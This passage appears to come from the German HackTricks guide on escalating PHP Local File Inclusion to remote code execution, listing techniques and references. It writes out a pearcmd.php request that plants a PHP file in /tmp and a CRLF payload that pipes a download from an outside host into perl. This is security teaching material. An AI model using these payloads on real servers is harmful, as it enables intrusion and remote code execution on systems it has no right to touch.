Wenn du eine Local File Inclusion gefunden hast, selbst wenn du keine Session hast und session.auto_start
auf Off
gesetzt ist. Wenn du den PHP_SESSION_UPLOAD_PROGRESS
in multipart POST-Daten angibst, wird PHP die Session für dich aktivieren. Du könntest das missbrauchen, um RCE zu erhalten:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Wenn du eine Local File Inclusion gefunden hast und der Server unter Windows läuft, könntest du RCE erlangen:
Via pearcmd.php
+ URL args
As explained in this post, das Script /usr/local/lib/phppearcmd.php
existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, da dort angegeben ist, dass ein URL-Parameter ohne =
als Argument verwendet werden soll. Siehe auch watchTowr’s write-up und Orange Tsai’s “Confusion Attacks”.
Die folgende Anfrage erstellt eine Datei in /tmp/hello.php
mit dem Inhalt <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Das Folgende missbraucht eine CRLF vuln, um RCE zu erhalten (aus here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Über phpinfo() (file_uploads = on)
Wenn du eine Local File Inclusion gefunden hast und eine Datei, die phpinfo() mit file_uploads = on offenlegt, kannst du RCE erhalten:
Über compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Wenn du eine Local File Inclusion gefunden hast und du den Pfad der temporären Datei exfiltrieren kannst, ABER der server überprüft, ob die einzubindende Datei PHP-Markierungen hat, kannst du versuchen, diese Überprüfung mit dieser Race Condition zu umgehen:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Über eternal waiting + bruteforce
Wenn du das LFI missbrauchen kannst, um temporäre Dateien hochzuladen und den server die PHP-Ausführung hängen zu lassen, könntest du dann über Stunden Dateinamen per bruteforce erraten, um die temporäre Datei zu finden:
Zu Fatal Error
Wenn du eine der Dateien /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
einbindest. (Du musst dieselbe Datei 2 Mal einbinden, um diesen Fehler auszulösen).
Ich weiß nicht, wie das nützlich sein soll, aber es könnte es sein.
Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht.
.png)
Referenzen
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.